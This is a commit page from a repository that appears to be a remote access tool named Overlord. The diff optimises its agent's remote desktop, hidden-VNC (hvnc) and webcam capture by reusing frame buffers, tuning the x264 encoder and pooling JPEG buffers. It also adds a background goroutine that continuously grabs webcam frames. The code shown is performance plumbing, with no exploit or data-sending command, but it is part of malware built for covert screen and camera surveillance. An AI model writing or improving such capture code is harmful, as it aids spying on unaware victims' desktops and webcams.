vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

optimize remote desktop, hvnc and webcam stuff. Fix issues with webcam frames getting super slow out of nowhere because of backup. Also remove compression since we rarely use it + H264 already compresses. Most things we send either way are so small where compression just adds CPU overhead that isn't needed.

Browse Source
This commit is contained in:
KingKDot
2026-03-13 09:28:16 -05:00
parent 5ceea3d34c
commit 225bc9e377
10 changed files with 241 additions and 107 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Client/cmd/agent/capture/capture.go
+11 -3
View File
@@ -1169,9 +1169,17 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
func copyPrev(img *image.RGBA) {
width := img.Bounds().Dx()
height := img.Bounds().Dy()
buf := make([]byte, len(img.Pix))
copy(buf, img.Pix)
prevFrame = &prevImage{w: width, h: height, pix: buf}
n := len(img.Pix)
if prevFrame != nil && cap(prevFrame.pix) >= n {
prevFrame.w = width
prevFrame.h = height
prevFrame.pix = prevFrame.pix[:n]
copy(prevFrame.pix, img.Pix)
} else {
buf := make([]byte, n)
copy(buf, img.Pix)
prevFrame = &prevImage{w: width, h: height, pix: buf}
}
}
func encodeBlockRaw(img *image.RGBA, x, y, w, h int) []byte {
Overlord-Client/cmd/agent/capture/h264_encoder_stub.go
+2
View File
@@ -20,3 +20,5 @@ func h264AvailabilityDetail() string {
}
func resetH264Encoder() {}
func SetH264TargetFPS(_ int) {}
Overlord-Client/cmd/agent/capture/h264_encoder_x264.go
+48 -15
View File
@@ -7,17 +7,21 @@ import (
"fmt"
"image"
"sync"
"sync/atomic"
x264 "github.com/gen2brain/x264-go"
)
var (
h264Mu sync.Mutex
h264Enc *x264.Encoder
h264Buf bytes.Buffer
h264Width int
h264Height int
h264LastErr error
h264Mu sync.Mutex
h264Enc *x264.Encoder
h264Buf bytes.Buffer
h264Width int
h264Height int
h264FPS int
h264LastErr error
h264Scratch []byte
h264TargetFPS atomic.Int64 // set by the stream handler; default 60
)
func encodeH264Frame(img *image.RGBA) ([]byte, error) {
@@ -40,9 +44,17 @@ func encodeH264Frame(img *image.RGBA) ([]byte, error) {
}
h264LastErr = nil
out := make([]byte, h264Buf.Len())
copy(out, h264Buf.Bytes())
return out, nil
n := h264Buf.Len()
if n == 0 {
return nil, nil
}
if cap(h264Scratch) < n {
h264Scratch = make([]byte, n, n+(n/4))
} else {
h264Scratch = h264Scratch[:n]
}
copy(h264Scratch, h264Buf.Bytes())
return h264Scratch, nil
}
func h264Available() bool {
@@ -58,8 +70,27 @@ func h264AvailabilityDetail() string {
return "cgo build with x264-go"
}
// SetH264TargetFPS sets the frame rate hint for the x264 encoder so its
// rate-control matches the actual capture cadence. Call this before (or
// when) streaming starts. The encoder is automatically re-created on the
// next frame if the value differs from the current one.
func SetH264TargetFPS(fps int) {
if fps < 1 {
fps = 1
}
h264TargetFPS.Store(int64(fps))
}
func activeH264FPS() int {
if v := int(h264TargetFPS.Load()); v > 0 {
return v
}
return 60 // sensible default for desktop streaming
}
func ensureH264EncoderLocked(width, height int) error {
if h264Enc != nil && h264Width == width && h264Height == height {
fps := activeH264FPS()
if h264Enc != nil && h264Width == width && h264Height == height && h264FPS == fps {
return nil
}
@@ -68,12 +99,12 @@ func ensureH264EncoderLocked(width, height int) error {
opts := &x264.Options{
Width: width,
Height: height,
FrameRate: 120,
Tune: "zerolatency,fastdecode",
Preset: "ultrafast",
Profile: "baseline",
FrameRate: fps,
Tune: "zerolatency",
Preset: "veryfast",
Profile: "main",
RateControl: "crf",
RateConstant: 30,
RateConstant: 23,
LogLevel: x264.LogError,
}
@@ -85,6 +116,7 @@ func ensureH264EncoderLocked(width, height int) error {
h264Enc = enc
h264Width = width
h264Height = height
h264FPS = fps
return nil
}
@@ -101,5 +133,6 @@ func closeH264EncoderLocked() {
}
h264Width = 0
h264Height = 0
h264FPS = 0
h264Buf.Reset()
}
Overlord-Client/cmd/agent/capture/jpeg_std.go
+16 -3
View File
@@ -4,13 +4,26 @@ import (
"bytes"
"image"
"image/jpeg"
"sync"
)
var jpegBufPool = sync.Pool{
New: func() interface{} {
b := bytes.NewBuffer(make([]byte, 0, 128*1024))
return b
},
}
func encodeJPEG(img image.Image, quality int) ([]byte, error) {
buf := bytes.Buffer{}
err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: quality})
buf := jpegBufPool.Get().(*bytes.Buffer)
buf.Reset()
err := jpeg.Encode(buf, img, &jpeg.Options{Quality: quality})
if err != nil {
jpegBufPool.Put(buf)
return nil, err
}
return buf.Bytes(), nil
out := make([]byte, buf.Len())
copy(out, buf.Bytes())
jpegBufPool.Put(buf)
return out, nil
}
Overlord-Client/cmd/agent/capture/webcam_windows.go
+83 -23
View File
@@ -22,6 +22,67 @@ type webcamState struct {
capture *cam.CaptureSync
format string
captureFPS float64
latestMu sync.Mutex
latestBytes []byte
stopCh chan struct{}
readerDone chan struct{}
}
func (s *webcamState) startReader() {
go func() {
defer close(s.readerDone)
for {
select {
case <-s.stopCh:
return
default:
}
sample, err := s.capture.GetFrame()
if err != nil {
select {
case <-s.stopCh:
return
default:
time.Sleep(20 * time.Millisecond)
continue
}
}
if sample == nil || sample.PpSample == nil {
if sample != nil {
sample.Release()
}
continue
}
buffer, err := s.capture.Device.ParseSampleToBuffer(sample.PpSample)
if err != nil {
sample.Release()
select {
case <-s.stopCh:
return
default:
time.Sleep(20 * time.Millisecond)
continue
}
}
if buffer == nil {
sample.Release()
continue
}
frameBytes := make([]byte, int(buffer.Length))
copy(frameBytes, buffer.Buffer[:buffer.Length])
buffer.Release()
sample.Release()
s.latestMu.Lock()
s.latestBytes = frameBytes
s.latestMu.Unlock()
}
}()
}
var (
@@ -35,35 +96,27 @@ func NowWebcam(ctx context.Context, env *rt.Env) error {
return nil
}
capture, deviceIndex, format, err := ensureWebcamCapture(env.WebcamDeviceIndex)
_, deviceIndex, format, err := ensureWebcamCapture(env.WebcamDeviceIndex)
if err != nil {
return err
}
sample, err := capture.GetFrame()
if err != nil {
resetWebcamState()
return err
}
if sample == nil || sample.PpSample == nil {
webcamMu.Lock()
state := webcamActive
webcamMu.Unlock()
if state == nil {
return nil
}
buffer, err := capture.Device.ParseSampleToBuffer(sample.PpSample)
if err != nil {
sample.Release()
return err
}
if buffer == nil {
sample.Release()
state.latestMu.Lock()
frameBytes := state.latestBytes
state.latestMu.Unlock()
if frameBytes == nil {
return nil
}
frameBytes := make([]byte, int(buffer.Length))
copy(frameBytes, buffer.Buffer[:buffer.Length])
buffer.Release()
sample.Release()
frame := wire.Frame{
Type: "frame",
Header: wire.FrameHeader{
@@ -153,7 +206,10 @@ func ensureWebcamCapture(requestedIndex int) (*cam.CaptureSync, int, string, err
capture: capture,
format: selectedFormat,
captureFPS: selected.Fps,
stopCh: make(chan struct{}),
readerDone: make(chan struct{}),
}
webcamActive.startReader()
log.Printf("webcam: selected device=%q index=%d format=%s %dx%d@%.2ffps", deviceInfo.Name, requestedIndex, selectedFormat, selected.Width, selected.Height, selected.Fps)
return capture, requestedIndex, selectedFormat, nil
}
@@ -224,15 +280,19 @@ func formatScore(format *cam.CaptureFormats) float64 {
func resetWebcamState() {
webcamMu.Lock()
defer webcamMu.Unlock()
if webcamActive != nil {
webcamActive.device.CloseDevice()
webcamActive = nil
}
closeWebcamLocked()
}
func closeWebcamLocked() {
if webcamActive != nil {
close(webcamActive.stopCh)
webcamActive.device.CloseDevice()
readerDone := webcamActive.readerDone
webcamActive = nil
select {
case <-readerDone:
case <-time.After(500 * time.Millisecond):
}
}
}